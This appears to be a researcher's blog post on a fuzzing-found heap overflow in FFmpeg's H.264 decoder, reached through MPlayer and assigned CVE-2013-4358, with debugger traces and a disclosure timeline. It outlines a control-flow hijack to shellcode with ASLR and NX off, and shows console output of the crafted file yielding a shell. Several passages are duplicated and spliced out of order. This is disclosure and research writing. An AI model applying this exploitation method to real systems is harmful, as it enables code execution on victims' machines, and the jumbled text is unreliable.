I was fuzzing a bit during my free time last month. Mplayer produced an interesting crash due to invalid memory access when tested with a fuzzed m2ts file. This is what the crash looked like
Timeline of Bug:
I wrote a PoC exploit from the point of crash, with the mutated file. Understanding of H.264 will give better and reliable attack vectors for the bug. Here is the idea to exploit the bug with ASLR and NX disabled. Yes, its easy without memory protection
[*] Make RAX point to an address [address_to_dereference - 0x18] that we would like to dereference
[*] At [address_to_dereference + 0x18] place the address of shellcode to execute
I'm not going into much details. Here is the final payload
=> 0x528da4 <put_image+68>: call QWORD PTR [rax+0x18] RAX: 0x4444444444444444 ('DDDDDDDD')So a crash was noticed at a call instruction and RAX can be user controlled by modifying the file. Here is the backtrace
if(video_out->control(VOCTRL_DRAW_IMAGE,mpi)==VO_TRUE) return 1; gdb-peda$ bt #0 0x0000000000528da4 in put_image (vf=0x17e82b0, mpi=0x1dc4af0, pts=604.16666666666663) at libmpcodecs/vf_vo.c:168 #1 0x00000000004f97eb in filter_video (sh_video=<optimized out>, frame=0x1dc4af0, pts=<optimized out>) at libmpcodecs/dec_video.c:479 #2 0x000000000048ba80 in update_video (blit_frame=0x7fffffffe0e8) at mplayer.c:2487 #3 0x000000000048ff78 in main (argc=<optimized out>, argv=A function pointer at an offset 0x18 in structure vo_functions_s is being accessed in put_image function. Since video_out pointer to the structure itself is overwritten with contents from file, we can dereference arbitrary memory location by controlling RAX and call any address. The bug was reported to Mplayer along with PoC and later analysis showed its an issue with FFmpeg. This is what valgrind trace looked like) at mplayer.c:3765 #4 0x00000038b7a1ec5d in __libc_start_main () from /lib64/libc.so.6 #5 0x0000000000482185 in _start ()
==4641== Invalid write of size 8 ==4641== at 0xA08407: put_h264_qpel16_mc00_sse2 (dsputil_mmx.c:464) ==4641== by 0x7C65C6: hl_decode_mb_444_simple (h264.c:532) ==4641== by 0x81551F: ff_h264_hl_decode_mb (h264.c:2445) ==4641== by 0xA69AFA: ff_er_frame_end (error_resilience.c:710) ==4641== by 0x7ACDD7: field_end (h264.c:2787) ==4641== by 0x835CA9: decode_frame (h264.c:4596) ==4641== by 0x986B7D: avcodec_decode_video2 (utils.c:1464) ==4641== by 0x5BC9F8: decode (vd_ffmpeg.c:799) ==4641== by 0x4F9894: decode_video (dec_video.c:393) ==4641== by 0x48B803: update_video (mplayer.c:2463) ==4641== by 0x48FF77: main (mplayer.c:3765) ==4641== Address 0xc8c7430 is 0 bytes after a block of size 523,344 allocd ==4641== at 0x4A072B5: memalign (vg_replace_malloc.c:727) ==4641== by 0x4A0737A: posix_memalign (vg_replace_malloc.c:876) ==4641== by 0xAF200C: av_malloc (mem.c:95) ==4641== by 0xAF20A5: av_mallocz (mem.c:187) ==4641== by 0x8DE53B: ff_alloc_picture (mpegvideo.c:341) ==4641== by 0x8DEE84: ff_MPV_frame_start (mpegvideo.c:1193) ==4641== by 0x7AD21F: ff_h264_frame_start (h264.c:1430) ==4641== by 0x7AE4C0: decode_slice_header (h264.c:3320) ==4641== by 0x834F82: decode_nal_units (h264.c:4330) ==4641== by 0x835C6D: decode_frame (h264.c:4574) ==4641== by 0x986B7D: avcodec_decode_video2 (utils.c:1464) ==4641== by 0x5BC9F8: decode (vd_ffmpeg.c:799)There was out of bound read/write in H.264 code of FFmpeg leading to heap corruption.
Timeline of Bug:
August 18 - Bug report along with PoC to Mplayer August 24 - FFmpeg notified about the issue August 25 - Bug confirmed in FFmpeg H.264 code leading to memory corruption, patches were applied September 14 - Request for CVE September 17 - CVE-2013-4358 assignedExploit:
I wrote a PoC exploit from the point of crash, with the mutated file. Understanding of H.264 will give better and reliable attack vectors for the bug. Here is the idea to exploit the bug with ASLR and NX disabled. Yes, its easy without memory protection
[*] Make RAX point to an address [address_to_dereference - 0x18] that we would like to dereference
[*] At [address_to_dereference + 0x18] place the address of shellcode to execute
I'm not going into much details. Here is the final payload
[ctf@renorobert Test]$ mplayer exploit_final.m2ts MPlayer 1.1-4.4.4 (C) 2000-2012 MPlayer Team Playing exploit_final.m2ts. libavformat version 54.6.100 (internal) TS file format detected. VIDEO H264(pid=4113) AUDIO A52(pid=4352) NO SUBS (yet)! PROGRAM N. 1 FPS seems to be: 24.000000 Load subtitles in ./ ========================================================================== Opening video decoder: [ffmpeg] FFmpeg's libavcodec codec family libavcodec version 54.23.100 (internal) Selected video codec: [ffh264] vfm: ffmpeg (FFmpeg H.264) ========================================================================== ========================================================================== Opening audio decoder: [ffmpeg] FFmpeg/libavcodec audio decoders AUDIO: 48000 Hz, 2 ch, s16le, 640.0 kbit/41.67% (ratio: 80000->192000) Selected audio codec: [ffac3] afm: ffmpeg (FFmpeg AC-3) ========================================================================== [AO OSS] audio_setup: Can't open audio device /dev/dsp: No such file or directory AO: [alsa] 48000Hz 2ch s16le (2 bytes per sample) Starting playback... Unsupported PixelFormat 61 Unsupported PixelFormat 53 Unsupported PixelFormat 81 Movie-Aspect is 1.78:1 - prescaling to correct movie aspect. VO: [x11] 1920x1080 => 1920x1080 Planar YV12 [swscaler @ 0xdbab00]using unscaled yuv420p -> bgra special converter A: 602.4 V: 602.4 A-V: 0.024 ct: -0.063 58/ 58 38% 10% 2.2% 0 0 [ac3 @ 0xcf2320]frame CRC mismatch A: 602.5 V: 602.5 A-V: 0.012 ct: -0.062 59/ 59 38% 10% 2.2% 0 0 [ac3 @ 0xcf2320]frame sync error A: 602.5 V: 602.5 A-V: 0.011 ct: -0.061 60/ 60 38% 9% 2.2% 0 0 [ac3 @ 0xcf2320]frame CRC mismatch A: 602.6 V: 602.6 A-V: -0.032 ct: -0.064 61/ 61 37% 9% 2.2% 0 0 [ac3 @ 0xcf2320]frame CRC mismatch A: 602.6 V: 602.5 A-V: 0.056 ct: -0.060 62/ 62 37% 9% 2.1% 0 0 [ac3 @ 0xcf2320]frame CRC mismatch A: 602.6 V: 602.6 A-V: 0.009 ct: -0.059 63/ 63 37% 9% 2.1% 0 0 [ac3 @ 0xcf2320]frame CRC mismatch A: 602.7 V: 602.7 A-V: -0.002 ct: -0.059 64/ 64 37% 9% 2.1% 0 0 [ac3 @ 0xcf2320]frame CRC mismatch A: 602.5 V: 602.7 A-V: -0.182 ct: -0.063 65/ 65 36% 9% 2.1% 0 0 [ac3 @ 0xcf2320]frame CRC mismatch A: 602.9 V: 602.8 A-V: 0.067 ct: -0.059 66/ 66 36% 9% 2.0% 0 0 [ac3 @ 0xcf2320]frame sync error A: 602.9 V: 602.8 A-V: 0.155 ct: -0.055 67/ 67 36% 10% 2.0% 0 0 ###################################################################################### [h264 @ 0xcf2320]Missing reference picture, default is 65648 [h264 @ 0xcf2320]Missing reference picture, default is 65648 [h264 @ 0xcf2320]error while decoding MB 67 8, bytestream (-5) [h264 @ 0xcf2320]concealing 7182 DC, 7182 AC, 7182 MV errors A: 604.7 V: 604.1 A-V: 0.638 ct: 0.066 96/ 96 41% 12% 1.5% 0 0 [ac3 @ 0xcf2320]frame sync error [h264 @ 0xcf2320]Missing reference picture, default is 65650 [h264 @ 0xcf2320]error while decoding MB 17 8, bytestream (-6) [h264 @ 0xcf2320]insane cropping not completely supported, this could look slightly wrong ... (left: 2, top: 6) [h264 @ 0xcf2320]number of reference frames (0+3) exceeds max (1; probably corrupt input), discarding one [h264 @ 0xcf2320]concealing 7232 DC, 7232 AC, 7232 MV errors Dropping frame with size not matching configured size A: 604.7 V: 604.1 A-V: 0.624 ct: 0.070 97/ 97 41% 11% 1.5% 0 0 [ac3 @ 0xcf2320]frame CRC mismatch [ac3 @ 0xcf2320]frame sync error [ac3 @ 0xcf2320]frame CRC mismatch [h264 @ 0xcf2320]Missing reference picture, default is 65652 [h264 @ 0xcf2320]error while decoding MB 42 8, bytestream (-10) [h264 @ 0xcf2320]concealing 7207 DC, 7207 AC, 7207 MV errors sh-4.1#I got code execution and dropped into shell. Bypassing NX and ASLR will take little more hard work.
A great article!
ReplyDeleteMay I have the poc sample file? (just for personal research)